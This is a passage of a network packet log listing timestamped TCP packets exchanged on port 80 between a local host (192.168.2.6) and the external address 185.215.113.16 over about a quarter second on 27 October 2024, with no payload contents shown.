Oct 27, 2024 07:59:22.885395050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885453939 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885467052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885545969 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885566950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885577917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885608912 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885637999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885689974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885700941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885754108 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885787964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885819912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885829926 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885839939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885850906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885915995 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885960102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885971069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886004925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886023998 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.886071920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886082888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886135101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.886135101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.886199951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886212111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886223078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886240005 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886250973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.886274099 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.886307955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930020094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930042982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930052996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930100918 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930113077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930128098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930171967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930187941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930205107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930233955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930288076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930298090 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930310011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930355072 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930389881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930453062 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930460930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930471897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930481911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930511951 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930520058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.930634975 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.930644035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.958837986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.958885908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.958897114 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.958906889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.958926916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.958936930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959019899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959028959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959043980 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959060907 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959070921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959095001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959105015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959186077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959198952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959203959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959254026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959342003 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959352970 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959361076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959389925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959405899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959423065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959530115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959530115 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959702969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959724903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959765911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959773064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959779024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959786892 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959856033 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.959887981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959897995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959903002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.959975958 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.960191965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960210085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960221052 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960231066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960242987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960254908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960259914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960391998 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.960391998 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.960743904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960772991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960792065 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960802078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960815907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960825920 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.960930109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.960930109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.961215019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961246967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961257935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961271048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.961306095 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.961448908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961461067 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961467981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961473942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961510897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.961714029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961721897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961733103 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961739063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961776018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961786032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.961823940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.961823940 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.961824894 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.999090910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999104977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999115944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999161959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.999257088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999269009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999280930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999329090 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.999388933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999401093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999413013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999463081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999473095 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.999483109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.999545097 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000327110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000427961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000452042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000463009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000473022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000483990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000494957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000505924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000541925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000541925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000566959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000663996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000709057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000719070 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000730038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000740051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000788927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000788927 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000854969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000868082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000907898 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.000930071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000940084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.000982046 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001008987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001019955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001049042 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001058102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001068115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001079082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001142979 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001168966 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001192093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001203060 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001214027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001259089 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001288891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001302004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001363993 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001379013 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001550913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001563072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001574993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001585007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.001645088 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.001660109 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.045511007 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045532942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045546055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045556068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045568943 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045625925 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.045636892 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.045655966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045690060 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.045726061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045737982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045779943 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.045799971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045810938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045955896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045967102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.045979977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.045986891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.046140909 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.074696064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074708939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074726105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074737072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074747086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074757099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074767113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074778080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074789047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074800014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074815035 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.074867010 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074881077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074887991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.074887991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.074898958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074908972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074919939 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074929953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.074940920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.074940920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.074950933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075035095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075052977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075052977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075069904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075227976 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075397968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075409889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075419903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075550079 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075584888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075596094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075607061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075617075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075628042 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075711966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075814962 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075814962 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075814962 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.075984001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.075995922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076006889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076167107 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076176882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076188087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076203108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076219082 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076219082 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076226950 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076338053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076349020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076359987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076435089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076435089 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076617002 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076631069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076756954 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076769114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076778889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076788902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076798916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076812983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076819897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076829910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076829910 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076841116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076852083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.076967001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.076967001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.077251911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.077263117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.077274084 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.077483892 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.077483892 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.114408016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114423037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114434958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114466906 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.114689112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114701033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114712954 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114732027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114741087 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.114753008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114763021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114819050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.114820004 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.114886045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114896059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114907026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.114960909 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116107941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116168022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116225004 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116245985 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116266966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116281986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116298914 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116303921 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116333008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116367102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116384029 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116416931 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116472960 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116497040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116549969 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116602898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116640091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116646051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116672993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116691113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116734028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116761923 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116774082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116810083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116841078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116875887 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.116929054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.116929054 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.117043972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117078066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117098093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117125034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117144108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117187023 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.117198944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117235899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117238045 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.117276907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117290974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:23.117346048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:23.117372990 CET	80	49750	185.215.113.16	192.168.2.6
